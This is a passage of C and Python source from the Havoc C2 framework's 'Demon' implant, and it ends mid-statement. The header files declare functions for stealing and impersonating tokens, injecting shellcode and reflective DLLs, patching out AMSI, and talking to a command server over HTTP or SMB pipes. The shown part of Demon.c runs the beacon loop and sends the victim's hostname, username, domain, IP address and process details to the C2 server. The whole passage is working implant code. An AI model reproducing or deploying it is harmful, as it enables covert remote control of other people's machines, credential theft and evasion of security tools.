ALIGN_UP_TYPE #define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) #endif #ifndef ALIGN_UP #define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type)) #endif #define ObjectTypesInformation 3 #define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\ RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(ULONG), ULONG_PTR)) #define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\ RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \ ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR)) typedef struct _PROCESS_LIST { ULONG Count; ULONG ProcessId[MAX_PROCESSES]; } PROCESS_LIST, *PPROCESS_LIST; typedef struct _USER_TOKEN_DATA { WCHAR username[MAX_USERNAME]; DWORD dwProcessID; HANDLE localHandle; DWORD integrity_level; DWORD impersonation_level; DWORD TokenType; } USER_TOKEN_DATA, *PUSER_TOKEN_DATA; typedef struct _OBJECT_TYPE_INFORMATION_V2 { UNICODE_STRING TypeName; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; UCHAR TypeIndex; CHAR ReservedByte; ULONG PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; } OBJECT_TYPE_INFORMATION_V2, * POBJECT_TYPE_INFORMATION_V2; /* use union for STOLEN and MAKE tokens */ typedef struct _TOKEN_LIST_DATA { HANDLE Handle; LPWSTR DomainUser; DWORD dwProcessID; SHORT Type; // Make data LPWSTR lpUser; LPWSTR lpPassword; LPWSTR lpDomain; struct _TOKEN_LIST_DATA* NextToken; } TOKEN_LIST_DATA, *PTOKEN_LIST_DATA ; typedef SECURITY_IMPERSONATION_LEVEL SEC_IMP_LEVEL; /* Token Object Functions */ HANDLE TokenCurrentHandle( VOID ); BOOL TokenElevated( IN HANDLE Token ); BOOL TokenSetPrivilege( IN LPSTR Privilege, IN BOOL Enable ); BOOL TokenSetSeDebugPriv( IN BOOL Enable ); BOOL TokenSetSeImpersonatePriv( IN BOOL Enable ); BOOL TokenDuplicate( IN HANDLE TokenOriginal, IN DWORD Access, IN SEC_IMP_LEVEL ImpersonateLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE TokenNew ); BOOL TokenRevSelf( VOID ); BOOL TokenQueryOwner( IN HANDLE Token, OUT PBUFFER UserDomain, IN DWORD Flags ); /* Token Vault Functions */ DWORD TokenAdd( IN HANDLE hToken, IN LPWSTR DomainUser, IN SHORT Type, IN DWORD dwProcessID, IN LPWSTR User, IN LPWSTR Domain, IN LPWSTR Password ); BOOL TokenRemove( IN DWORD TokenID ); BOOL SysDuplicateTokenEx( IN HANDLE ExistingTokenHandle, IN DWORD dwDesiredAccess, IN LPSECURITY_ATTRIBUTES lpTokenAttributes OPTIONAL, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE DuplicateTokenHandle); HANDLE TokenSteal( IN DWORD ProcessID, IN HANDLE TargetHandle ); HANDLE TokenMake( IN LPWSTR User, IN LPWSTR Password, IN LPWSTR Domain, IN DWORD LogonType ); PTOKEN_LIST_DATA TokenGet( IN DWORD TokenID ); VOID TokenClear( VOID ); BOOL TokenImpersonate( IN BOOL Impersonate ); BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens ); BOOL ImpersonateTokenFromVault( IN DWORD TokenID ); BOOL ImpersonateTokenInStore( IN PTOKEN_LIST_DATA TokenData ); BOOL SysImpersonateLoggedOnUser( HANDLE hToken ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Transport.h000066400000000000000000000017411467014221700246700ustar00rootroot00000000000000#ifndef DEMON_INTERNET_H #define DEMON_INTERNET_H #include #include #include #define PIPE_BUFFER_MAX 0x10000 /*! * Initialize HTTP/HTTPS Connection to C2 Server + using AES encryption or * Initializes a connection to the parent pivot over SMB + using AES encryption * and send the collected user/computer info about the compromised Computer * @return Return if functions ran successful */ BOOL TransportInit(); /*! * Send our specified data + encrypt it with random key * @param Data Data we want to send * @param Size Size of Data we want to send * @return Return if functions ran successful */ BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize ); /*! * Try get a Job by reading from the pipe * @param Data Data we want to read * @param Size Size of Data we want to read * @return Return if functions ran successful */ BOOL SMBGetJob( PVOID* RecvData, PSIZE_T RecvSize ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/TransportHttp.h000066400000000000000000000032731467014221700255320ustar00rootroot00000000000000#ifndef DEMON_TRANSPORTHTTP_H #define DEMON_TRANSPORTHTTP_H #include #include #include #ifdef TRANSPORT_HTTP #define TRANSPORT_HTTP_ROTATION_ROUND_ROBIN 0 #define TRANSPORT_HTTP_ROTATION_RANDOM 1 #define ERROR_INTERNET_CANNOT_CONNECT 12029 typedef struct _HOST_DATA { /* Host Data */ LPWSTR Host; DWORD Port; DWORD Failures; BOOL Dead; /* Next Host Data */ struct _HOST_DATA* Next; } HOST_DATA, *PHOST_DATA; /*! * Adds a host to the linked list * @param Host * @param Port * @return Host pointer */ PHOST_DATA HostAdd( LPWSTR Host, SIZE_T Size, DWORD Port ); /*! * Counts how many hosts are in the linked list * @return Hosts counter */ DWORD HostCount( VOID ); /*! * Increments the failure counter and checks if we hit the max. * if we hit the max then we are going to use the next one. * @param Host * @return If hit the max then return the next Host. * If not then return the passed Host. */ PHOST_DATA HostFailure( PHOST_DATA Host ); /*! * Chooses a host from the linked list based on the Host rotation option. * @return Host data */ PHOST_DATA HostRotation( SHORT Strategy ); /*! * Gets a random host from the linked list. (doesn't check if its dead) * @return Random Host from linked list */ PHOST_DATA HostRandom(); /*! * Checks if every host is dead. * if every host is dead then return FALSE. * if one or more hosts are not dead then TRUE * @return if more than one host is not marked as dead then return TRUE else return FALSE */ BOOL HostCheckup(); DWORD HttpQueryStatus( HANDLE hRequest ); BOOL HttpSend( _In_ PBUFFER Send, _Out_opt_ PBUFFER Resp ); #endif #endifhavoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/TransportSmb.h000066400000000000000000000010671467014221700253330ustar00rootroot00000000000000#ifndef DEMON_TRANSPORTSMB_H #define DEMON_TRANSPORTSMB_H #include #ifdef TRANSPORT_SMB /* Objects we allocated and need to free */ typedef struct { PSID Sid; PSID SidLow; PACL SAcl; PSECURITY_DESCRIPTOR SecDec; } SMB_PIPE_SEC_ATTR, *PSMB_PIPE_SEC_ATTR; BOOL SmbSend( PBUFFER Send ); BOOL SmbRecv( PBUFFER Resp ); VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES SecurityAttr ); VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr ); /* TRANSPORT_SMB */ #endif /* DEMON_TRANSPORTSMB_H */ #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Win32.h000066400000000000000000000116071467014221700236000ustar00rootroot00000000000000#ifndef DEMON_WIN32_H #define DEMON_WIN32_H #include #include #include #include #include #include #include #include #include #include #define HASH_KEY 5381 #define WIN_FUNC(x) __typeof__(x) * x; #define DEREF( name ) *( UINT_PTR* ) ( name ) #define DEREF_32( name ) *( DWORD* ) ( name ) #define DEREF_16( name ) *( WORD* ) ( name ) #define MAX( a, b ) ( ( a ) > ( b ) ? ( a ) : ( b ) ) #define MIN( a, b ) ( ( a ) < ( b ) ? ( a ) : ( b ) ) typedef struct _DIR_OR_FILE { WCHAR FileName[MAX_PATH+1]; SYSTEMTIME FileTime; SYSTEMTIME SystemTime; BOOL IsDir; UINT64 Size; struct _DIR_OR_FILE* Next; } DIR_OR_FILE, *PDIR_OR_FILE; typedef struct _SUB_DIR { WCHAR Path[MAX_PATH+1]; struct _SUB_DIR* Next; } SUB_DIR, *PSUB_DIR; typedef struct _ROOT_DIR { WCHAR Path[MAX_PATH+1]; PDIR_OR_FILE Content; UINT32 NumFiles; UINT32 NumFolders; UINT64 TotalFileSize; struct _ROOT_DIR* Next; } ROOT_DIR, *PROOT_DIR; typedef struct { PVOID TebInformation; ULONG TebOffset; ULONG BytesToRead; } THREAD_TEB_INFORMATION; typedef struct _BUFFER { PVOID Buffer; UINT32 Length; } BUFFER, *PBUFFER; typedef struct _ANONPIPE { HANDLE StdOutRead; HANDLE StdOutWrite; } ANONPIPE, *PANONPIPE; typedef enum _PS_ATTRIBUTE_NUM { PsAttributeParentProcess = 0 /*0x0*/, PsAttributeDebugObject = 1 /*0x1*/, PsAttributeToken = 2 /*0x2*/, PsAttributeClientId = 3 /*0x3*/, PsAttributeTebAddress = 4 /*0x4*/, PsAttributeImageName = 5 /*0x5*/, PsAttributeImageInfo = 6 /*0x6*/, PsAttributeMemoryReserve = 7 /*0x7*/, PsAttributePriorityClass = 8 /*0x8*/, PsAttributeErrorMode = 9 /*0x9*/, PsAttributeStdHandleInfo = 10 /*0xA*/, PsAttributeHandleList = 11 /*0xB*/, PsAttributeMax = 12 /*0xC*/ }PS_ATTRIBUTE_NUM, *PPS_ATTRIBUTE_NUM; typedef struct _PROC_THREAD_ATTRIBUTE_ENTRY { ULONG_PTR Attribute; ULONG_PTR Size; ULONG_PTR* pValue; ULONG_PTR Unknown; } PROC_THREAD_ATTRIBUTE_ENTRY, *PPROC_THREAD_ATTRIBUTE_ENTRY; typedef struct __attribute__((packed)) { ULONG ExtendedProcessInfo; ULONG ExtendedProcessInfoBuffer; } EXTENDED_PROCESS_INFORMATION, *PEXTENDED_PROCESS_INFORMATION; typedef struct _PROC_THREAD_ATTRIBUTE_LIST { ULONG_PTR Length; PROC_THREAD_ATTRIBUTE_ENTRY Entry; } PROC_THREAD_ATTRIBUTE_LIST, *PPROC_THREAD_ATTRIBUTE_LIST; typedef PSYSTEM_PROCESS_INFORMATION PSYS_PROC_INFO; typedef SECURITY_QUALITY_OF_SERVICE SEC_QUALITY_SERVICE; typedef OBJECT_ATTRIBUTES OBJ_ATTR; typedef OBJECT_ATTRIBUTES OBJ_ATTR; typedef PROC_THREAD_ATTRIBUTE_LIST THD_ATTR_LIST; typedef PROCESS_INFORMATION PROC_INFO; DWORD HashStringA( IN PCHAR String ); ULONG HashEx( IN PVOID String, IN ULONG Length, IN BOOL Upper ); PVOID LdrFunctionAddr( IN PVOID Module, IN ULONG Hash ); UINT32 GetSyscallSize( VOID ); PVOID LdrModulePeb( IN DWORD hash ); PVOID LdrModulePebByString( IN LPWSTR Module ); PVOID LdrModuleSearch( IN LPWSTR ModuleName ); PVOID LdrModuleLoad( IN LPSTR ModuleName ); BOOL ProcessCreate( IN BOOL x86, IN LPWSTR App, IN LPWSTR CmdLine, IN DWORD Flags, OUT PROCESS_INFORMATION* ProcessInfo, IN BOOL Piped, IN PANONPIPE AnonPipes ); BOOL ProcessTerminate( IN HANDLE hProcess, IN DWORD Pid ); BOOL ProcessIsWow( IN HANDLE hProcess ); HANDLE ProcessOpen( IN DWORD Pid, IN DWORD Access ); NTSTATUS ProcessSnapShot( OUT PSYSTEM_PROCESS_INFORMATION* Buffer, OUT PSIZE_T Size ); BOOL ReadLocalFile( IN LPCWSTR FileName, OUT PVOID* FileContent, OUT PDWORD FileSize ); BOOL WinScreenshot( OUT PVOID* ImagePointer, OUT PSIZE_T ImageSize ); BOOL AnonPipesInit( OUT PANONPIPE AnonPipes ); VOID AnonPipesRead( IN PANONPIPE AnonPipes, IN UINT32 RequestID ); BOOL PipeWrite( IN HANDLE Handle, IN PBUFFER Buffer ); BOOL PipeRead( IN HANDLE Handle, OUT PBUFFER Buffer ); BOOL CfgQueryEnforced( VOID ); VOID CfgAddressAdd( IN PVOID ImageBase, IN PVOID Function ); BOOL EventSet( IN HANDLE Event ); BOOL BypassPatchAMSI( VOID ); ULONG RandomNumber32( VOID ); BOOL RandomBool( VOID ); ULONG64 SharedTimestamp( VOID ); VOID SharedSleep( ULONG64 Delay ); VOID ShuffleArray( _Inout_ PVOID* array, IN SIZE_T n ); PROOT_DIR listDir( IN LPWSTR StartPath, IN BOOL SubDirs, IN BOOL FilesOnly, IN BOOL DirsOnly, IN LPWSTR Starts, IN LPWSTR Contains, IN LPWSTR Ends, IN UINT32 MaxLevelDeep); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/crypt/000077500000000000000000000000001467014221700227315ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/include/crypt/AesCrypt.h000066400000000000000000000007541467014221700246420ustar00rootroot00000000000000#ifndef _AES_H_ #define _AES_H_ #include #define CTR 1 #define AES256 1 #ifndef CTR #define CTR 1 #endif #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only #define AES_KEYLEN 32 #define AES_keyExpSize 240 typedef struct { UINT8 RoundKey[AES_keyExpSize]; UINT8 Iv[AES_BLOCKLEN]; } AESCTX, *PAESCTX ; void AesInit( PAESCTX ctx, const PUINT8 key, const PUINT8 iv); void AesXCryptBuffer( PAESCTX ctx, PUINT8 buf, SIZE_T length); #endif // _AES_H_havoc-0.6~git20240910.69ce17c/payloads/Demon/include/inject/000077500000000000000000000000001467014221700230445ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/include/inject/Inject.h000066400000000000000000000046351467014221700244410ustar00rootroot00000000000000 #ifndef DEMON_BASEINJECT_H #define DEMON_BASEINJECT_H #include #include #include #define INJECTION_TECHNIQUE_WIN32 1 #define INJECTION_TECHNIQUE_SYSCALL 2 #define INJECTION_TECHNIQUE_APC 3 #define SPAWN_TECHNIQUE_SYSCALL 2 #define SPAWN_TECHNIQUE_APC 3 // defaults #define SPAWN_TECHNIQUE_DEFAULT SPAWN_TECHNIQUE_SYSCALL #define INJECTION_TECHNIQUE_DEFAULT INJECTION_TECHNIQUE_SYSCALL typedef enum _DX_CREATE_THREAD { DX_THREAD_DEFAULT = 0, DX_THREAD_WIN32 = 1, DX_THREAD_SYSCALL = 2, DX_THREAD_APC = 3, DX_THREAD_WOW = 4, DX_THREAD_SYSAPC = 5, } DX_THREAD; typedef struct INJECTION_CTX { HANDLE hProcess; DWORD ThreadID; DWORD ProcessID; HANDLE hThread; SHORT Arch; BOOL PipeStdout; BOOL SuspendAwake; LPVOID Parameter; UINT32 ParameterSize; SHORT Technique; } INJECTION_CTX, *PINJECTION_CTX ; /* injection errors */ #define INJECT_ERROR_SUCCESS 0 /* no error. successful executed */ #define INJECT_ERROR_FAILED 1 /* aborted while trying to execute function */ #define INJECT_ERROR_INVALID_PARAM 2 /* invalid param */ #define INJECT_ERROR_PROCESS_ARCH_MISMATCH 3 /* process arch mismatches the injection arch */ #define INJECT_WAY_SPAWN 0 #define INJECT_WAY_INJECT 1 #define INJECT_WAY_EXECUTE 2 DWORD Inject( IN BYTE Method, IN HANDLE Handle, IN DWORD Pid, IN BOOL x64, IN PVOID Payload, IN SIZE_T Size, IN UINT64 Offset, IN PVOID Argv, IN SIZE_T Argc ); // ShellcodeInjectDispatch BOOL ShellcodeInjectDispatch( BOOL Inject, SHORT InjectionMethod, LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx ); BOOL ShellcodeInjectionSys( LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx ); BOOL ShellcodeInjectionSysApc( HANDLE hProcess, LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx ); DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSize, LPVOID lpDllBuffer, DWORD dwDllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ); DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID lpDllBuffer, DWORD dwDllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/inject/InjectUtil.h000066400000000000000000000021421467014221700252660ustar00rootroot00000000000000#ifndef DEMON_INJECTUTIL_H #define DEMON_INJECTUTIL_H #include #include #define DEREF_32( name )*(DWORD *)(name) #define DEREF_16( name )*(WORD *)(name) #ifndef ProcThreadAttributeValue #define PROC_THREAD_ATTRIBUTE_NUMBER 0x0000FFFF #define PROC_THREAD_ATTRIBUTE_THREAD 0x00010000 #define PROC_THREAD_ATTRIBUTE_INPUT 0x00020000 #define PROC_THREAD_ATTRIBUTE_ADDITIVE 0x00040000 #define ProcThreadAttributeValue(Number, Thread, Input, Additive) \ (((Number) & PROC_THREAD_ATTRIBUTE_NUMBER) | \ ((Thread != FALSE) ? PROC_THREAD_ATTRIBUTE_THREAD : 0) | \ ((Input != FALSE) ? PROC_THREAD_ATTRIBUTE_INPUT : 0) | \ ((Additive != FALSE) ? PROC_THREAD_ATTRIBUTE_ADDITIVE : 0)) #endif #define ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X64_TO_X86 0x1001 #define ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X86_TO_X64 0x1002 #define ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS 0x1003 DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress); DWORD GetReflectiveLoaderOffset( PVOID lpReflectiveDllBuffer ); DWORD GetPeArch( PVOID PeBytes ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/makefile000066400000000000000000000001171467014221700216440ustar00rootroot00000000000000MAKEFLAGS += -s clean: rm -rf cmake-build-debug rm -rf .idea rm -rf Build havoc-0.6~git20240910.69ce17c/payloads/Demon/scripts/000077500000000000000000000000001467014221700216345ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/scripts/hash_func.py000066400000000000000000000015301467014221700241430ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding:utf-8 -*- # credit: https://github.com/realoriginal/titanldr-ng/blob/master/python3/hashstring.py import sys def hash_string( string ): try: hash = 5381 for x in string.upper(): hash = (( hash << 5 ) + hash ) + ord(x) return hash & 0xFFFFFFFF except: pass def hash_coffapi( string ): try: hash = 5381 for x in string: hash = (( hash << 5 ) + hash ) + ord(x) return hash & 0xFFFFFFFF except: pass if __name__ in '__main__': try: print('#define H_FUNC_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_string( sys.argv[ 1 ] ) )); print('#define H_COFFAPI_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_coffapi( sys.argv[ 1 ] ) )); except IndexError: print('usage: %s [string]' % sys.argv[0]); havoc-0.6~git20240910.69ce17c/payloads/Demon/src/000077500000000000000000000000001467014221700207345ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/src/Demon.c000066400000000000000000001166151467014221700221540ustar00rootroot00000000000000#include /* Import Common Headers */ #include #include /* Import Core Headers */ #include #include #include #include #include #include /* Import Inject Headers */ #include /* Import Inject Headers */ #include /* Global Variables */ SEC_DATA PINSTANCE Instance = { 0 }; SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES; /* * In DemonMain it should go as followed: * * 1. Initialize pointer, modules and win32 api * 2. Initialize metadata * 3. Parse config * 4. Enter main connecting and tasking routine * */ VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs ) { INSTANCE Inst = { 0 }; /* "allocate" instance on stack */ Instance = & Inst; /* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */ DemonInit( ModuleInst, KArgs ); /* Initialize MetaData */ DemonMetaData( &Instance->MetaData, TRUE ); /* Main demon routine */ DemonRoutine(); } /* Main demon routine: * * 1. Connect to listener * 2. Go into tasking routine: * A. Sleep Obfuscation. * B. Request for the task queue * C. Parse Task * D. Execute Task (if it's not DEMON_COMMAND_NO_JOB) * E. Goto C (we do this til there is nothing left) * F. Goto A (we have nothing else to execute then lets sleep and after waking up request for more) * 3. Sleep Obfuscation. After that lets try to connect to the listener again */ _Noreturn VOID DemonRoutine() { /* the main loop */ for ( ;; ) { /* if we aren't connected then lets connect to our host */ if ( ! Instance->Session.Connected ) { /* Connect to our listener */ if ( TransportInit() ) { #ifdef TRANSPORT_HTTP /* reset the failure counter since we managed to connect to it. */ Instance->Config.Transport.Host->Failures = 0; #endif } } if ( Instance->Session.Connected ) { /* Enter tasking routine */ CommandDispatcher(); } /* Sleep for a while (with encryption if specified) */ SleepObf(); } } /* Init metadata buffer/package. */ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) { PVOID Data = NULL; PIP_ADAPTER_INFO Adapter = NULL; OSVERSIONINFOEXW OsVersions = { 0 }; SIZE_T Length = 0; DWORD dwLength = 0; /* Check we if we want to add the Agent Header + CommandID too */ if ( Header ) { *MetaData = PackageCreateWithMetaData( DEMON_INITIALIZE ); /* Do not destroy this package if we fail to connect to the listener. */ ( *MetaData )->Destroy = FALSE; } // create AES Keys/IV if ( Instance->Config.AES.Key == NULL && Instance->Config.AES.IV == NULL ) { Instance->Config.AES.Key = Instance->Win32.LocalAlloc( LPTR, 32 ); Instance->Config.AES.IV = Instance->Win32.LocalAlloc( LPTR, 16 ); for ( SHORT i = 0; i < 32; i++ ) Instance->Config.AES.Key[ i ] = RandomNumber32(); for ( SHORT i = 0; i < 16; i++ ) Instance->Config.AES.IV[ i ] = RandomNumber32(); } /* Header (if specified): [ SIZE ] 4 bytes [ Magic Value ] 4 bytes [ Agent ID ] 4 bytes [ COMMAND ID ] 4 bytes [ Request ID ] 4 bytes MetaData: [ AES KEY ] 32 bytes [ AES IV ] 16 bytes [ Magic Value ] 4 bytes [ Demon ID ] 4 bytes [ Host Name ] size + bytes [ User Name ] size + bytes [ Domain ] size + bytes [ IP Address ] 16 bytes? [ Process Name ] size + bytes [ Process ID ] 4 bytes [ Parent PID ] 4 bytes [ Process Arch ] 4 bytes [ Elevated ] 4 bytes [ Base Address ] 8 bytes [ OS Info ] ( 5 * 4 ) bytes [ OS Arch ] 4 bytes [ SleepDelay ] 4 bytes [ SleepJitter ] 4 bytes [ Killdate ] 8 bytes [ WorkingHours ] 4 bytes ..... more [ Optional ] Eg: Pivots, Extra data about the host or network etc. */ // Add AES Keys/IV PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.Key, 32 ); PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.IV, 16 ); // Add session id PackageAddInt32( *MetaData, Instance->Session.AgentID ); // Get Computer name dwLength = 0; if ( ! Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) ) { if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); if ( Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Data, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get Username dwLength = 0; if ( ! Instance->Win32.GetUserNameA( NULL, &dwLength ) ) { if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); if ( Instance->Win32.GetUserNameA( Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Data, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get Domain dwLength = 0; if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) ) { if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); if ( Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Data, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get internal IP dwLength = 0; if ( Instance->Win32.GetAdaptersInfo( NULL, &dwLength ) ) { if ( ( Adapter = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { if ( Instance->Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR ) PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String ); else PackageAddInt32( *MetaData, 0 ); DATA_FREE( Adapter, dwLength ); } else PackageAddInt32( *MetaData, 0 ); } else PackageAddInt32( *MetaData, 0 ); // Get Process Path PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance->Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer ); PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueProcess ); PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueThread ); PackageAddInt32( *MetaData, Instance->Session.PPID ); PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH ); PackageAddInt32( *MetaData, BeaconIsAdmin( ) ); PackageAddInt64( *MetaData, U_PTR( Instance->Session.ModuleBase ) ); MemSet( &OsVersions, 0, sizeof( OsVersions ) ); OsVersions.dwOSVersionInfoSize = sizeof( OsVersions ); Instance->Win32.RtlGetVersion( &OsVersions ); PackageAddInt32( *MetaData, OsVersions.dwMajorVersion ); PackageAddInt32( *MetaData, OsVersions.dwMinorVersion ); PackageAddInt32( *MetaData, OsVersions.wProductType ); PackageAddInt32( *MetaData, OsVersions.wServicePackMajor ); PackageAddInt32( *MetaData, OsVersions.dwBuildNumber ); PackageAddInt32( *MetaData, Instance->Session.OS_Arch ); PackageAddInt32( *MetaData, Instance->Config.Sleeping ); PackageAddInt32( *MetaData, Instance->Config.Jitter ); PackageAddInt64( *MetaData, Instance->Config.Transport.KillDate ); PackageAddInt32( *MetaData, Instance->Config.Transport.WorkingHours ); } VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) { OSVERSIONINFOEXW OSVersionExW = { 0 }; PVOID RtModules[] = { RtAdvapi32, //RtMscoree, RtOleaut32, RtUser32, RtShell32, RtMsvcrt, RtIphlpapi, RtGdi32, RtNetApi32, RtWs2_32, RtSspicli, #ifdef TRANSPORT_HTTP RtWinHttp, #endif }; Instance->Teb = NtCurrentTeb(); #ifdef TRANSPORT_HTTP PUTS( "TRANSPORT_HTTP" ) #endif #ifdef TRANSPORT_SMB PUTS( "TRANSPORT_SMB" ) #endif /* resolve ntdll.dll functions */ if ( ( Instance->Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) { /* Module/Address function loading */ Instance->Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS ); Instance->Win32.LdrLoadDll = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRLOADDLL ); /* Rtl functions */ Instance->Win32.RtlAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP ); Instance->Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP ); Instance->Win32.RtlFreeHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLFREEHEAP ); Instance->Win32.RtlExitUserThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD ); Instance->Win32.RtlExitUserProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS ); Instance->Win32.RtlRandomEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLRANDOMEX ); Instance->Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR ); Instance->Win32.RtlGetVersion = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLGETVERSION ); Instance->Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE ); Instance->Win32.RtlCreateTimer = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMER ); Instance->Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM ); Instance->Win32.RtlRegisterWait = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREGISTERWAIT ); Instance->Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE ); Instance->Win32.RtlCaptureContext = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT ); Instance->Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER ); Instance->Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER ); Instance->Win32.RtlCopyMappedMemory = 